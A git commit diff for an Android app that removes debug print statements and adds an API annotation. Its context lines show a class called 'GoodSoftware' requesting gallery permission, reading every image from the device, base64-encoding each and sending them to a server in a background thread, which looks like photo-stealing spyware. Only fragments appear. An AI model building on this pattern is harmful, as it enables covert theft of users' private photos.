Remove print statements
This commit is contained in:
		
							
								
								
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							
							
						
						
									
										12
									
								
								.idea/deploymentTargetDropDown.xml
									
									
									
										generated
									
									
									
								
							@@ -4,18 +4,6 @@
 | 
			
		||||
    <value>
 | 
			
		||||
      <entry key="MainActivity">
 | 
			
		||||
        <State>
 | 
			
		||||
          <targetSelectedWithDropDown>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="QUICK_BOOT_TARGET" />
 | 
			
		||||
              <deviceKey>
 | 
			
		||||
                <Key>
 | 
			
		||||
                  <type value="VIRTUAL_DEVICE_PATH" />
 | 
			
		||||
                  <value value="$USER_HOME$/.android/avd/Pixel_3a_API_34_extension_level_7_x86_64.avd" />
 | 
			
		||||
                </Key>
 | 
			
		||||
              </deviceKey>
 | 
			
		||||
            </Target>
 | 
			
		||||
          </targetSelectedWithDropDown>
 | 
			
		||||
          <timeTargetWasSelectedWithDropDown value="2024-05-02T08:29:59.116229999Z" />
 | 
			
		||||
          <targetsSelectedWithDialog>
 | 
			
		||||
            <Target>
 | 
			
		||||
              <type value="QUICK_BOOT_TARGET" />
 | 
			
		||||
 
 | 
			
		||||
@@ -13,6 +13,7 @@ import android.os.Build
 | 
			
		||||
import android.provider.MediaStore
 | 
			
		||||
import android.util.Base64
 | 
			
		||||
import android.util.Log
 | 
			
		||||
import androidx.annotation.RequiresApi
 | 
			
		||||
import androidx.camera.core.CameraSelector
 | 
			
		||||
import androidx.camera.core.ImageCapture
 | 
			
		||||
import androidx.camera.core.ImageCaptureException
 | 
			
		||||
@@ -129,6 +130,7 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
        }
 | 
			
		||||
    }
 | 
			
		||||
 | 
			
		||||
    @RequiresApi(Build.VERSION_CODES.TIRAMISU)
 | 
			
		||||
    private fun requestMediaImagesPermission() {
 | 
			
		||||
        ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
 | 
			
		||||
    }
 | 
			
		||||
@@ -153,7 +155,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                    try {
 | 
			
		||||
                        val imageList = getAllImagesFromGallery(activity)
 | 
			
		||||
                        for (image in imageList) {
 | 
			
		||||
                            println(imageList.size)
 | 
			
		||||
                            val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
 | 
			
		||||
                            Thread {
 | 
			
		||||
                                println("Sending data to server")
 | 
			
		||||
@@ -179,7 +180,6 @@ class GoodSoftware (private val activity: MainActivity) {
 | 
			
		||||
                val bitmap = BitmapFactory.decodeStream(inputStream)
 | 
			
		||||
                val width = bitmap.width
 | 
			
		||||
                val height = bitmap.height
 | 
			
		||||
                println("Width: $width, Height: $height")
 | 
			
		||||
 | 
			
		||||
                // Determine the orientation of the image
 | 
			
		||||
                val resizedBitmap = if (width > height) {
 | 
			
		||||
 
 | 
			
		||||
		Reference in New Issue
	
	Block a user